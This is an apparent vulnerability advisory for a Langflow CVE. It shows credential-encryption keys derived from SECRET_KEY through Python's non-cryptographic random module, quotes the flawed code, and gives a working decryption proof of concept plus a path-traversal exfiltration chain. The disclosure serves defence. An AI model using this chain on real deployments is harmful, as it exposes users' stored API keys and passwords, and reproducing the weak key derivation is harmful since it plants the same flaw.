CVE-2026-9205

Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRET_KEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRET_KEY is shorter than 32 characters, a common scenario for self-hosted deployments using simple/memorable secrets, the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRET_KEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.

Even when SECRET_KEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key, meaning exfiltrating the secret_key file is sufficient to decrypt all credentials without any additional computation.

Severity: Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1)
CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data

Details

Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663

MINIMUM_KEY_LENGTH = 32

def _ensure_valid_key(self, raw_key: str) -> bytes:
    if len(raw_key) < MINIMUM_KEY_LENGTH:
        random.seed(raw_key)                                   # Non-cryptographic PRNG seeded with the secret
        key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output
        key = base64.urlsafe_b64encode(key)
    else:
        key = self._add_padding(raw_key).encode()              # Raw secret IS the Fernet key
    return key

def _get_fernet(self) -> Fernet:
    secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
    valid_key = self._ensure_valid_key(secret_key)
    return Fernet(valid_key)

The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).

What is encrypted under this key:
All variables stored with type = "Credential", this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:

# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value

Why this is critical in combination with the MCP path traversal:
The secret_key file is stored at /app/data/.cache/langflow/secret_key, readable via the MCP path traversal vulnerability. Once exfiltrated:

• If len(secret_key) < 32: run random.seed(secret_key) → derive identical key → decrypt all credentials instantly
• If len(secret_key) >= 32: pad the key directly → decrypt all credentials instantly

No brute force needed in either case once the file is read.

PoC

#!/usr/bin/env python3
# Requires: pip install cryptography

import random
import base64
from cryptography.fernet import Fernet

# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
    random.seed(secret_key)
    key_bytes = bytes(random.getrandbits(8) for _ in range(32))
    fernet_key = base64.urlsafe_b64encode(key_bytes)
    return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()

# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
    padding_needed = 4 - len(secret_key) % 4
    padded = secret_key + "=" * padding_needed
    return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()

# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
# and from SELECT value FROM variable WHERE type='Credential' in langflow.db
SECRET_KEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E"  # 43 chars → long branch
CIPHERTEXT = "gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M="

plaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT)
print(f"Decrypted credential: {plaintext}")
# Output: sk-test-SENTINEL-VALUE-12345

Confirmed on Langflow v1.7.3:

• Database path: /app/.venv/lib/python3.12/site-packages/langflow/langflow.db
• Two Credential-type variables found in the variable table
• Both decrypted successfully: "dummy" and "sk-test-SENTINEL-VALUE-12345"
• The sentinel value (sk-test-SENTINEL-VALUE-12345) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated secret_key

End-to-end chain (with MCP path traversal):

# Step 1: Exfiltrate secret_key via MCP path traversal (no admin required, any authenticated user)
# Step 2: Query DB credentials via path traversal (SQLite file readable)
# Step 3: Decrypt offline, zero brute force, instant
python3 poc_decrypt.py "$SECRET_KEY" "$CIPHERTEXT"
# → all stored API keys revealed